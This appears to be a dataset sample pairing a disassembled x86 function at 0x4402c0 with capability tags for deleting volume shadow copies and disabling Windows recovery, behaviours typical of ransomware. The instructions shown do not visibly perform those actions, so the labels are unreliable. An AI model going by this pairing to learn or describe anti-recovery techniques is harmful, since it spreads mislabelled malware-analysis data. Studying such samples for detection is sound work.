Function at 0x4402c0
Capabilities:
Delete volume shadow copies
Disable automatic windows recovery features

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4405e3
sub esp, 0x2c
movzx eax, byte [0x65718e]
test al, al
jne 0x4402ef
movzx eax, byte [0x65718c]
test al, al
je 0x4402f3
add esp, 0x2c
ret
mov eax, dword [0x657258]
test eax, eax
ja 0x440423
movzx eax, byte [0x65718d]
test al, al
jne 0x440317
movzx eax, byte [0x657185]
test al, al
jne 0x44031b
xor eax, eax
jmp 0x440355
mov byte [esp], 1
call fcn.004399f0
mov eax, dword [esp + 4]
mov ecx, dword [0x6571f0]
mov dword [esp + 0x1c], ecx
nop
mov dword [esp + 0x20], eax
lea edx, [0x6571f8]
mov dword [esp], edx
mov dword [esp + 4], eax
call fcn.00401cc0
mov eax, dword [esp + 0x1c]
test eax, eax
seta al
movzx eax, al
mov ecx, dword [0x631c08]
mov edx, dword [0x631c18]
sub ecx, edx
mov edx, dword [0x631c00]
mov ebx, ecx
sub ecx, edx
mov ebp, dword [0x631c04]
sub ecx, ebp
mov esi, dword [0x631c14]
sub ecx, esi
cmp eax, ecx
jge 0x440385
add esp, 0x2c
ret
test ecx, ecx
jl 0x440501
mov dword [esp + 0xc], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
lea eax, [0x4405f0]
mov dword [esp + 0x24], eax
lea eax, [esp + 0xc]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x24]
mov dword [esp], eax
call fcn.004371f0
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4404dc
mov eax, dword [0x6572c0]
test eax, eax
setne al
mov ecx, dword [0x6572c4]
test ecx, ecx
setne cl
or ecx, eax
test cl, cl
je 0x440413
call fcn.004527f0
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
mov edx, dword [esp]
test eax, eax
je 0x440413
mov dword [0x6572c4], ecx
mov dword [0x6572c0], edx
lea ecx, [0x631c24]
jmp 0x440480
mov eax, dword [0x630fd0]
mov ecx, dword [0x630fd4]
xor edx, edx
jmp 0x440428
add esp, 0x2c
ret
inc edx
cmp edx, ecx
jge 0x44043f
mov ebx, dword [eax + edx*4]
test byte [ebx], al
mov ebx, dword [ebx + 0x1188]
test ebx, ebx
je 0x440427
add esp, 0x2c
ret
mov eax, dword fs:[0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [eax + 0x6c], 0xffffffff
nop
lea eax, [0x631bf8]
mov dword [esp], eax
call fcn.00409340
lea eax, [0x550c0f]
mov dword [esp], eax
mov dword [esp + 4], 0x25
call fcn.00433a00
test byte [edx], al
lea ecx, [edx + 8]
mov edx, dword [ecx]
test edx, edx
je 0x44048f
cmp edx, eax
jne 0x44047b
mov edx, dword [eax + 8]
mov dword [ecx], edx
nop
mov ecx, dword [0x631bfc]
test ecx, ecx
je 0x4404ae
mov edx, dword [ecx + 0xb8]
mov dword [0x631bfc], edx
dec dword [0x631c00]
test ecx, ecx
je 0x4404c6
nop
mov dword [ecx + 0x58], eax
lea eax, [ecx + 0xb0]
mov dword [esp], eax
call fcn.00409430
add esp, 0x2c
ret
lea eax, [0x54da94]
mov dword [esp], eax
mov dword [esp + 4], 0x19
call fcn.00433a00
nop
lea eax, [0x631bf8]
mov dword [esp], eax
call fcn.00409340
lea eax, [0x553118]
mov dword [esp], eax
mov dword [esp + 4], 0x36
call fcn.00433a00
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], esi
mov dword [esp + 0x1c], ebx
call fcn.004351d0
lea eax, [0x54e4f7]
mov dword [esp], eax
mov dword [esp + 4], 0x1b
call fcn.00435e00
mov eax, dword [esp + 0x18]
mov ecx, eax
sar eax, 0x1f
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00435c00
lea eax, [0x54a09d]
mov dword [esp], eax
mov dword [esp + 4], 0xe
call fcn.00435e00
mov eax, dword [esp + 0x14]
mov ecx, eax
sar eax, 0x1f
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00435c00
lea eax, [0x5489b8]
mov dword [esp], eax
mov dword [esp + 4], 8
call fcn.00435e00
mov eax, dword [esp + 0x1c]
mov ecx, eax
sar eax, 0x1f
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00435c00
lea eax, [0x5486ea]
mov dword [esp], eax
mov dword [esp + 4], 7
call fcn.00435e00
mov eax, dword [esp + 0x10]
mov ecx, eax
sar eax, 0x1f
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00435c00
call fcn.004353f0
call fcn.00435240
lea eax, [0x54f156]
mov dword [esp], eax
mov dword [esp + 4], 0x1e
call fcn.00433a00
nop
call fcn.0045e000
jmp fcn.004402c0